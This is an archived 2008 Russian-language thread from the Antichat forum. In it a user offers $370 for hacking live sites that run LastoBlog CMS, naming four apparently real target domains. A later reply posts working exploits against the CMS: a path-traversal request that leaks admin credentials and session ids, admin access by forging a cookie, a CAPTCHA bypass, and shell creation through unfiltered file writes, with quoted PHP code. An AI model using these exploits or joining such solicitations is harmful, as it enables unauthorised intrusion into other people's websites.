Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Хочу провести конкурс на взлом LastoBlog (https://forum.antichat.xyz/showthread.php?t=74295)

Ибо 19.06.2008 21:05

Хочу провести конкурс на взлом LastoBlog
 
Приветствую господа!

Когда то юзал CMS LastoBlog, несколько раз дефейсили его, следовательно взлому он поддается :)

Гонорар $370 тому, кто похакает сайт на этом движке.

Сайт не затирайте просто, положите какой-нибудь файл, вот парочка таргетов на этом движке:

blog.d21.ru
goldguru.ru/blog/
dimox.biz
prmstudio.com

Если нужна сама cms, пишите в личку.

Результаты будут опубликованы здесь.

Впирьйод на бобра!

.Slip 19.06.2008 21:58

Ссылку на скачку двига выкладывай в теме.

Qwazar 19.06.2008 22:01

Или хотябы в личку ответь, на офф. сайте двиг платный.

gibson 19.06.2008 23:13

ссыль на скачку пульни в личку, и имхо нужно к гарантам форума обратиться.

Ибо 22.06.2008 00:08

Дистриб Cms
 
Выложил, забирать тут.

otmorozok428 05.07.2008 18:40

Ибо, мне кажется, ты часть файлов забыл в архив положить... Сразу бросается в глаза отсутствие в корне файлов login.html, connect.html, search.html и др. Можешь выложить какую-нить менее коцанную версию?

Alv 05.07.2008 23:19

Я так понимаю, если я залью любой файл в корень любого из сайтов в этой теме на этом движке я полочу гонарар или там будут дополнительные условия?

OMG!! 07.07.2008 13:22

Цитата:

Сообщение от Ибо
blog.d21.ru
goldguru.ru/blog/
dimox.biz
prmstudio.com

370 за все, или за один?

-Hormold- 07.07.2008 20:23

Скорей всего тебя сломали через другой сайт.
так же как inhacking.org.
смотри логи

Elekt 19.07.2008 07:25

посмотрел исходники, эти и свежие с офф. сайта(10WMZ).
Твои несколько устарели.

Но ни там ни сям нет глобальных уязвимостей.
Есть опасные моменты.
Есть недочеты по безопасности из разряда "как не надо делать".
Но если сервак настроен правильно - воспользоваться не выйдет.

Сломать можно либо через хсс, либо только через revers-ip.

Не даю гарантии. Мог что-то не заметить, однако копал довольно долго и придирчиво.

Elekt 08.08.2008 09:05


Вобщем, я подумал еще раз и....
В том коде что ты дал(старые исходники):

==========================

Чтение произвольного файла.

Массив $posts не определен изначально.
При register_globals=ON мы можем внести свои файлы в список отображаемых.

Требование: register_globals=ON

Эксплоит:

/rss.php?posts[]=../session.php
/rss.php?posts[]=../settings.php
/rss.php?posts[]=../blog_settings.ini


/data/session.php
<? $_s["sid"]="74e8cbbe945570109125f10a20bf5df8"; ?>

/data/settings.php
$_s['pass'] = "fsdkj8309u7ghowrj32"; // пароль для входа в админку.

/data/blog_settings.ini

login="admin"; логин для входа в админку.
pass="entero"; пароль для входа в админку.
pepetun="default"; измените на любое английское слово.
email="vadim_lasto@mail.ru";

Вырезка уязвимого кода:

/rss.php
PHP код:

      $d=dir("data/posts");
      while (
false!==($entry=$d->read()))
         if (
strlen($entry)==10 && is_numeric($entry) && $entry <= time()) $posts[]=$entry

==========================

Так получаем админские привилегии по хешу из "/data/session.php"

COOKIE: admin_connected=74e8cbbe945570109125f10a20bf5df8;

Вырезка уязвимого кода:

/index.php
PHP код:

  $_s['admin']=(isset($_COOKIE['admin_connected']) and $_COOKIE['admin_connected']==$_s["sid"]) ? true false

==========================

Зачетный обход капчи в куках:

Вырезка уязвимого кода:

/index.php
PHP код:

      or $_COOKIE['secret_number']!=$_POST['verification']) exit("wrong key control");

/
key.php

   
list ($x,$y,$sc,$tt)=array(
      
120,
      
19,
      array(array(
255,255,255),array(0,0,255)),
      (isset(
$_COOKIE['secret_number']) and is_numeric($_COOKIE["secret_number"])) ? 
         
$_COOKIE["secret_number"]:
         
" ERROR "
   
); 

==========================
==========================
==========================

В свежих исходниках с сайта:

Last Blog version_05.10.07 work

[i] возможная не\работоспособность кода обусловлена кривостью дезендера

==========================

Обход капчи в куках:

/key.php
PHP код:

$n extract$_GETEXTR_OVERWRITE ); 

==========================

Создание шела.

В секции "new","old" имя файла $fn не определено
При register_globals=ON мы можем переопределить путь

/index.php

PHP код:

case "new" :
    
$_s['post_short_info'][$page] = $data;
    
$_s['post_short_info'] = arr2disk$_s['post_short_info'], $indx );
    
fw$data['title'].$oslen.$oslen.$text$fn );
    
fw""$cn );
    
build_index$page );
    
redirect$turl."/post_$page.html" );
    exit( );
case 
"old" :
    
$data['com'] = isset( $_s['post_short_info'][$cat]['com'] ) ? $_s['post_short_info'][$cat]['com'] : $data['com'];
    if ( 
$cat != $page )
    {
        if ( 
unlink$fo ) )
        {
            if ( 
rename$co$cn ) || isset( $_s['post_short_info'][$cat] ) )
            {
            }
        }
    }
    
$_s['post_short_info'][$page] = $data;
    
$_s['post_short_info'] = arr2disk$_s['post_short_info'], $indx );
    
fw$data['title'].$oslen.$oslen.$text$fn );
    
build_index$page );
    
redirect$turl."/comment_$page.html" );
    exit( );
    do
    {
    default :
    } while ( 
in_array$cat$posts ) ? "old" "new" TRUE :  );
    exit( ); 

==========================

Создание шела.

$_POST['text'] не фильтруется и подставляется в имя записываемого файла.
Желательно magic_qoutes=OFF

/remoute.html
POST: [some_parameters_here]


Вырезка уязвимого кода:

/data/php_pages/remoute.php

PHP код:

$state true == $_s['admin'] ? "getform" "work";

    case 
"work" :
        do
        {
            if ( !isset( 
$_POST['title'] ) && isset( $_POST['publicate'] ) && isset( $_POST['text'] ) && isset( $_POST['category'] ) && isset( $_POST['code'] ) )
                break;
            if ( 
in_array$_POST['category'], array_keys$_s['cats'] ) ) )
            {
            }
        } while( 
);
        
finita$_s['lang']['failed'] );
        if ( 
trim$_POST['title'] ) == "" )
        {
            
finita$_s['lang']['postcreate_nosubj'] );
        }
        if ( 
trim$_POST['text'] ) == "" )
        {
            
finita$_s['lang']['postcreate_empty'] );
        }
        
$a explode" "trim$_POST['publicate'] ) );
        if ( 
count$a ) != )
        {
            
finita$_s['lang']['postcreate_date_wrong'] );
        }
        
$b explode"."$a[0] );
        
$c explode":"$a[1] );
        if ( 
count$b ) != )
        {
            
finita$_s['lang']['postcreate_date_error'] );
        }
        if ( 
count$c ) != )
        {
            
finita$_s['lang']['postcreate_time_error'] );
        }
        
$page mktime$c[0], $c[1], $c[2], $b[1], $b[0], $b[2] );
        
$data = array( "cat"=>trim$_POST['category'] ), "title"=>trim$_POST['title'] ), "com"=>);
        
$cn trim$_POST['text'] );
        
$co trim$_POST['text'] );
        
$fn trim$_POST['text'] );
        
$fo trim$_POST['text'] );
        
$indx trim$_POST['text'] );
        
$text trim$_POST['text'] );
        array( , 
"./data/posts/index.php""./data/posts/".$cat"./data/posts/".$page"./data/comments/".$cat"./data/comments/".$page );
        
$sw in_array$cat$posts ) ? "old" "new";
    case 
"new" :
        
$_s['post_short_info'][$page] = $data;
        
$_s['post_short_info'] = arr2disk$_s['post_short_info'], $indx );
        
fw$data['title'].$oslen.$oslen.$text$fn );
        
fw""$cn );
        
build_index$page );
        exit( );

function 
fw($content$file)  {
   if (
file_exists($file)) $db=fopen($file,"r+");
   else 
$db=fopen("$file","w");
   if (
$db) {
      
set_file_buffer($db,0);
      
flock($db,LOCK_EX);
      
ftruncate($db,0);
      
fwrite($db$content);
      
flock($db,LOCK_UN);
      
fclose($db);
   }


==========================



Время: 19:37